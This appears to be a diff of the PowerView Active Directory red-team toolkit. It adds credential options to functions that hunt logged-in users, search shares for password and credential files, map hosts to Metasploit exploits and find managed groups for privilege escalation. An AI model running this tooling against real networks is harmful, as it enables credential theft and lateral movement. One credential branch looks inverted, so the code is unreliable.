+ $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
+ $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
+ $Process | Add-Member Noteproperty 'User' $Owner.User
+ $Process
}
}
+ catch {
+ Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
+ }
}
@@ -7289,10 +8274,6 @@ function Find-InterestingFile {
Switch. Mount target remote path with temporary PSDrives.
- .PARAMETER Credential
-
- Credential to use to mount the PSDrive for searching.
-
.OUTPUTS
The full path, owner, lastaccess time, lastwrite time, and size for each found file.
@@ -7323,15 +8304,15 @@ function Find-InterestingFile {
http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
#>
-
- [CmdletBinding()]
+
param(
[Parameter(ValueFromPipeline=$True)]
[String]
$Path = '.\',
+ [Alias('Terms')]
[String[]]
- $Terms,
+ $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
[Switch]
$OfficeDocs,
@@ -7361,35 +8342,19 @@ function Find-InterestingFile {
$OutFile,
[Switch]
- $UsePSDrive,
-
- [System.Management.Automation.PSCredential]
- $Credential = [System.Management.Automation.PSCredential]::Empty
+ $UsePSDrive
)
begin {
- # default search terms
- $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config')
- if(!$Path.EndsWith('\')) {
- $Path = $Path + '\'
- }
- if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True }
+ $Path += if(!$Path.EndsWith('\')) {"\"}
- # check if custom search terms were passed
- if ($Terms) {
- if($Terms -isnot [system.array]) {
- $Terms = @($Terms)
- }
- $SearchTerms = $Terms
+ if ($Credential) {
+ $UsePSDrive = $True
}
- if(-not $SearchTerms[0].startswith("*")) {
- # append wildcards to the front and back of all search terms
- for ($i = 0; $i -lt $SearchTerms.Count; $i++) {
- $SearchTerms[$i] = "*$($SearchTerms[$i])*"
- }
- }
+ # append wildcards to the front and back of all search terms
+ $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
# search just for office documents if specified
if ($OfficeDocs) {
@@ -7399,29 +8364,31 @@ function Find-InterestingFile {
# find .exe's accessed within the last 7 days
if($FreshEXEs) {
# get an access time limit of 7 days ago
- $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy')
+ $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearchTerms = '*.exe'
}
if($UsePSDrive) {
# if we're PSDrives, create a temporary mount point
+
$Parts = $Path.split('\')
$FolderPath = $Parts[0..($Parts.length-2)] -join '\'
$FilePath = $Parts[-1]
+
$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
- Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive"
+ Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
try {
- $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
+ $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
}
catch {
- Write-Debug "Error mounting path $Path : $_"
+ Write-Debug "Error mounting path '$Path' : $_"
return $Null
}
# so we can cd/dir the new drive
- $Path = $RandDrive + ":\" + $FilePath
+ $Path = "${RandDrive}:\${FilePath}"
}
}
@@ -7475,7 +8442,7 @@ function Find-InterestingFile {
end {
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive
+ Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
}
@@ -7504,6 +8471,7 @@ function Invoke-ThreadedFunction {
$ScriptParameters,
[Int]
+ [ValidateRange(1,100)]
$Threads = 20,
[Switch]
@@ -7898,8 +8866,8 @@ function Invoke-UserHunter {
[Switch]
$ForeignUsers,
- [ValidateRange(1,100)]
[Int]
+ [ValidateRange(1,100)]
$Threads
)
@@ -8003,7 +8971,7 @@ function Invoke-UserHunter {
if($ForeignUsers) {
# if we're searching for user results not in the primary domain
- $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)"
+ $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
$DomainShortName = $krbtgtName.split("\")[0]
}
}
@@ -8064,7 +9032,7 @@ function Invoke-UserHunter {
$User
} | Where-Object {$_}
- }
+ }
}
else {
ForEach ($Domain in $TargetDomains) {
@@ -8103,12 +9071,12 @@ function Invoke-UserHunter {
$TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
- $IP = Get-IPAddress -ComputerName $ComputerName
+ $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
$FoundUser = New-Object PSObject
$FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
$FoundUser | Add-Member Noteproperty 'UserName' $UserName
$FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IP' $IP
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
$FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
# see if we're checking to see if we have local admin access on this machine
@@ -8121,7 +9089,7 @@ function Invoke-UserHunter {
}
$FoundUser
}
- }
+ }
}
}
if(!$Stealth) {
@@ -8148,12 +9116,12 @@ function Invoke-UserHunter {
}
}
if($Proceed) {
- $IP = Get-IPAddress -ComputerName $ComputerName
+ $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
$FoundUser = New-Object PSObject
$FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$FoundUser | Add-Member Noteproperty 'UserName' $UserName
$FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IP' $IP
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
$FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
# see if we're checking to see if we have local admin access on this machine
@@ -8190,7 +9158,7 @@ function Invoke-UserHunter {
}
# kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -8353,15 +9321,6 @@ function Invoke-ProcessHunter {
File of usernames to search for.
- .PARAMETER RemoteUserName
-
- The "domain\username" to use for the WMI call on a remote system.
- If supplied, 'RemotePassword' must be supplied as well.
-
- .PARAMETER RemotePassword
-
- The password to use for the WMI call on a remote system.
-
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user/process.
@@ -8399,6 +9358,11 @@ function Invoke-ProcessHunter {
The maximum concurrent threads to execute.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target machine/domain.
+
.EXAMPLE
PS C:\> Invoke-ProcessHunter -Domain 'testing'
@@ -8472,12 +9436,6 @@ function Invoke-ProcessHunter {
[String]
$UserFile,
- [String]
- $RemoteUserName,
-
- [String]
- $RemotePassword,
-
[Switch]
$StopOnSuccess,
@@ -8504,7 +9462,10 @@ function Invoke-ProcessHunter {
[ValidateRange(1,100)]
[Int]
- $Threads
+ $Threads,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
@@ -8537,16 +9498,16 @@ function Invoke-ProcessHunter {
}
elseif($SearchForest) {
# get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
}
else {
# use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
+ $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
}
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
}
# remove any null target hosts, uniquify the list and shuffle it
@@ -8587,15 +9548,15 @@ function Invoke-ProcessHunter {
elseif($UserADSpath -or $UserFilter) {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
+ $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
$_.samaccountname
} | Where-Object {$_}
- }
+ }
}
else {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object {
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
$_.MemberName
}
}
@@ -8608,7 +9569,7 @@ function Invoke-ProcessHunter {
# script block that enumerates a server
$HostEnumBlock = {
- param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword)
+ param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
# optionally check if the server is up first
$Up = $True
@@ -8618,12 +9579,7 @@ function Invoke-ProcessHunter {
if($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
- if($RemoteUserName -and $RemotePassword) {
- $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue
- }
- else {
- $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue
- }
+ $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
@@ -8654,12 +9610,11 @@ function Invoke-ProcessHunter {
'Ping' = $(-not $NoPing)
'ProcessName' = $ProcessName
'TargetUsers' = $TargetUsers
- 'RemoteUserName' = $RemoteUserName
- 'RemotePassword' = $RemotePassword
+ 'Credential' = $Credential
}
# kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -8680,7 +9635,7 @@ function Invoke-ProcessHunter {
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword
+ $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
$Result
if($Result -and $StopOnSuccess) {
@@ -8689,7 +9644,6 @@ function Invoke-ProcessHunter {
}
}
}
-
}
}
@@ -8775,6 +9729,11 @@ function Invoke-EventHunter {
The maximum concurrent threads to execute.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Invoke-EventHunter
@@ -8835,7 +9794,10 @@ function Invoke-EventHunter {
[ValidateRange(1,100)]
[Int]
- $Threads
+ $Threads,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
@@ -8858,7 +9820,7 @@ function Invoke-EventHunter {
}
else {
# use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
+ $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
}
#####################################################
@@ -8876,7 +9838,7 @@ function Invoke-EventHunter {
[array]$ComputerName = @()
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
+ $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
}
}
else {
@@ -8884,7 +9846,7 @@ function Invoke-EventHunter {
[array]$ComputerName = @()
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for domain controllers"
- $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
+ $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
}
}
@@ -8923,15 +9885,15 @@ function Invoke-EventHunter {
elseif($UserADSpath -or $UserFilter) {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
+ $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
$_.samaccountname
} | Where-Object {$_}
- }
+ }
}
else {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object {
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
$_.MemberName
}
}
@@ -8943,7 +9905,7 @@ function Invoke-EventHunter {
# script block that enumerates a server
$HostEnumBlock = {
- param($ComputerName, $Ping, $TargetUsers, $SearchDays)
+ param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
# optionally check if the server is up first
$Up = $True
@@ -8951,10 +9913,18 @@ function Invoke-EventHunter {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
- # try to enumerate
- Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
- # filter for the target user set
- $TargetUsers -contains $_.UserName
+ # try to enumerate
+ if($Credential) {
+ Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
+ # filter for the target user set
+ $TargetUsers -contains $_.UserName
+ }
+ }
+ else {
+ Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
+ # filter for the target user set
+ $TargetUsers -contains $_.UserName
+ }
}
}
}
@@ -8971,10 +9941,11 @@ function Invoke-EventHunter {
'Ping' = $(-not $NoPing)
'TargetUsers' = $TargetUsers
'SearchDays' = $SearchDays
+ 'Credential' = $Credential
}
# kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -8995,7 +9966,7 @@ function Invoke-EventHunter {
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
}
}
@@ -9291,7 +10262,7 @@ function Invoke-ShareFinder {
}
# kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -9448,10 +10419,6 @@ function Invoke-FileFinder {
Switch. Mount target remote path with temporary PSDrives.
- .PARAMETER Credential
-
- Credential to use to mount the PSDrive for searching.
-
.EXAMPLE
PS C:\> Invoke-FileFinder
@@ -9514,8 +10481,9 @@ function Invoke-FileFinder {
[Switch]
$FreshEXEs,
+ [Alias('Terms')]
[String[]]
- $Terms,
+ $SearchTerms,
[ValidateScript({Test-Path -Path $_ })]
[String]
@@ -9577,10 +10545,7 @@ function Invoke-FileFinder {
$Threads,
[Switch]
- $UsePSDrive,
-
- [System.Management.Automation.PSCredential]
- $Credential = [System.Management.Automation.PSCredential]::Empty
+ $UsePSDrive
)
begin {
@@ -9626,7 +10591,7 @@ function Invoke-FileFinder {
if ($TermList) {
ForEach ($Term in Get-Content -Path $TermList) {
if (($Term -ne $Null) -and ($Term.trim() -ne '')) {
- $Terms += $Term
+ $SearchTerms += $Term
}
}
}
@@ -9667,9 +10632,9 @@ function Invoke-FileFinder {
Write-Verbose "[*] Adding share search path $DCSearchPath"
$Shares += $DCSearchPath
}
- if(!$Terms) {
+ if(!$SearchTerms) {
# search for interesting scripts on SYSVOL
- $Terms = @('.vbs', '.bat', '.ps1')
+ $SearchTerms = @('.vbs', '.bat', '.ps1')
}
}
else {
@@ -9691,7 +10656,7 @@ function Invoke-FileFinder {
# script block that enumerates shares and files on a server
$HostEnumBlock = {
- param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential)
+ param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)
Write-Verbose "ComputerName: $ComputerName"
Write-Verbose "ExcludedShares: $ExcludedShares"
@@ -9737,7 +10702,7 @@ function Invoke-FileFinder {
ForEach($Share in $SearchShares) {
$SearchArgs = @{
'Path' = $Share
- 'Terms' = $Terms
+ 'SearchTerms' = $SearchTerms
'OfficeDocs' = $OfficeDocs
'FreshEXEs' = $FreshEXEs
'LastAccessTime' = $LastAccessTime
@@ -9748,7 +10713,6 @@ function Invoke-FileFinder {
'CheckWriteAccess' = $CheckWriteAccess
'OutFile' = $OutFile
'UsePSDrive' = $UsePSDrive
- 'Credential' = $Credential
}
Find-InterestingFile @SearchArgs
@@ -9765,7 +10729,7 @@ function Invoke-FileFinder {
$ScriptParams = @{
'Ping' = $(-not $NoPing)
'ExcludedShares' = $ExcludedShares
- 'Terms' = $Terms
+ 'SearchTerms' = $SearchTerms
'ExcludeFolders' = $ExcludeFolders
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
@@ -9773,17 +10737,16 @@ function Invoke-FileFinder {
'CheckWriteAccess' = $CheckWriteAccess
'OutFile' = $OutFile
'UsePSDrive' = $UsePSDrive
- 'Credential' = $Credential
}
# kick off the threaded script block + arguments
if($Shares) {
# pass the shares as the hosts so the threaded function code doesn't have to be hacked up
- Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
- }
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
}
else {
@@ -9808,7 +10771,7 @@ function Invoke-FileFinder {
Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive
}
}
}
@@ -10031,7 +10994,7 @@ function Find-LocalAdminAccess {
}
# kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -10052,7 +11015,7 @@ function Find-LocalAdminAccess {
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
}
}
}
@@ -10121,6 +11084,11 @@ function Get-ExploitableSystem {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
The example below shows the standard command usage. Disabled system are excluded by default, but
@@ -10210,7 +11178,10 @@ function Get-ExploitableSystem {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
@@ -10371,11 +11342,12 @@ function Get-ExploitableSystem {
$Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
}
}
- }
+ }
# Display results
$VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
$VulnComputerCount = $VulnComputer.Count
+
if ($VulnComputer.Count -gt 0) {
# Return vulnerable server list order with some hack date casting
Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
@@ -10440,6 +11412,10 @@ function Invoke-EnumerateLocalAdmin {
Switch. Only return results that are not part of the local machine
or the machine's domain. Old Invoke-EnumerateLocalTrustGroup
functionality.
+
+ .PARAMETER DomainOnly
+
+ Switch. Only return domain (non-local) results
.PARAMETER Domain
@@ -10454,6 +11430,11 @@ function Invoke-EnumerateLocalAdmin {
Switch. Search all domains in the forest for target users instead of just
a single domain.
+ .PARAMETER API
+
+ Switch. Use API calls instead of the WinNT service provider. Less information,
+ but the results are faster.
+
.PARAMETER Threads
The maximum concurrent threads to execute.
@@ -10512,6 +11493,9 @@ function Invoke-EnumerateLocalAdmin {
[Switch]
$TrustGroups,
+ [Switch]
+ $DomainOnly,
+
[String]
$Domain,
@@ -10523,7 +11507,10 @@ function Invoke-EnumerateLocalAdmin {
[ValidateRange(1,100)]
[Int]
- $Threads
+ $Threads,
+
+ [Switch]
+ $API
)
begin {
@@ -10592,7 +11579,7 @@ function Invoke-EnumerateLocalAdmin {
# script block that enumerates a server
$HostEnumBlock = {
- param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs)
+ param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
# optionally check if the server is up first
$Up = $True
@@ -10601,18 +11588,27 @@ function Invoke-EnumerateLocalAdmin {
}
if($Up) {
# grab the users for the local admins on this server
- $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
+ if($API) {
+ $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
+ }
+ else {
+ $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
+ }
# if we just want to return cross-trust users
- if($DomainSID -and $TrustGroupSIDS) {
+ if($DomainSID) {
# get the local machine SID
$LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
-
+ Write-Verbose "LocalSid for $ComputerName : $LocalSID"
# filter out accounts that begin with the machine SID and domain SID
# but preserve any groups that have users across a trust ($TrustGroupSIDS)
$LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
}
+ if($DomainOnly) {
+ $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
+ }
+
if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
# output the results to a csv if specified
if($OutFile) {
@@ -10624,11 +11620,10 @@ function Invoke-EnumerateLocalAdmin {
}
}
else {
- Write-Verbose "[!] No users returned from $Server"
+ Write-Verbose "[!] No users returned from $ComputerName"
}
}
}
-
}
process {
@@ -10644,8 +11639,16 @@ function Invoke-EnumerateLocalAdmin {
'TrustGroupsSIDs' = $TrustGroupsSIDs
}
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
+ # kick off the threaded script block + arguments
+ if($API) {
+ $ScriptParams['API'] = $True
+ }
+
+ if($DomainOnly) {
+ $ScriptParams['DomainOnly'] = $True
+ }
+
+ Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
else {
@@ -10664,9 +11667,11 @@ function Invoke-EnumerateLocalAdmin {
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
-
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs
+
+ $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
+
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
}
}
}
@@ -10727,7 +11732,7 @@ function Get-NetDomainTrust {
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[String]
- $Domain = (Get-NetDomain).Name,
+ $Domain,
[String]
$DomainController,
@@ -10737,13 +11742,21 @@ function Get-NetDomainTrust {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
process {
+
+ if(!$Domain) {
+ $Domain = (Get-NetDomain -Credential $Credential).Name
+ }
+
if($LDAP -or $DomainController) {
- $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize
+ $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
if($TrustSearcher) {
@@ -10787,11 +11800,11 @@ function Get-NetDomainTrust {
else {
# if we're using direct domain connections
- $FoundDomain = Get-NetDomain -Domain $Domain
+ $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
if($FoundDomain) {
- (Get-NetDomain -Domain $Domain).GetAllTrustRelationships()
- }
+ $FoundDomain.GetAllTrustRelationships()
+ }
}
}
}
@@ -10807,6 +11820,11 @@ function Get-NetForestTrust {
Return trusts for the specified forest.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetForestTrust
@@ -10824,11 +11842,15 @@ function Get-NetForestTrust {
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[String]
- $Forest
+ $Forest,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
process {
- $FoundForest = Get-NetForest -Forest $Forest
+ $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
+
if($FoundForest) {
$FoundForest.GetAllTrustRelationships()
}
@@ -11102,6 +12124,76 @@ function Find-ForeignGroup {
}
+function Find-ManagedSecurityGroups {
+<#
+ .SYNOPSIS
+
+ This function retrieves all security groups in the domain and identifies ones that
+ have a manager set. It also determines whether the manager has the ability to add
+ or remove members from the group.
+
+ Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>
+ License: BSD 3-Clause
+
+ .EXAMPLE
+
+ PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
+
+ Store a list of all security groups with managers in group-managers.csv
+
+ .DESCRIPTION
+
+ Authority to manipulate the group membership of AD security groups and distribution groups
+ can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
+ used to delegate management authority to distribution groups, but Windows supports security groups
+ being managed in the same way.
+
+ This function searches for AD groups which have a group manager set, and determines whether that
+ user can manipulate group membership. This could be a useful method of horizontal privilege
+ escalation, especially if the manager can manipulate the membership of a privileged group.
+
+ .LINK
+
+ https://github.com/PowerShellEmpire/Empire/pull/119
+
+#>
+
+ # Go through the list of security groups on the domain and identify those who have a manager
+ Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
+
+ # Retrieve the object that the managedBy DN refers to
+ $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
+
+ # Create a results object to store our findings
+ $results_object = New-Object -TypeName PSObject -Property @{
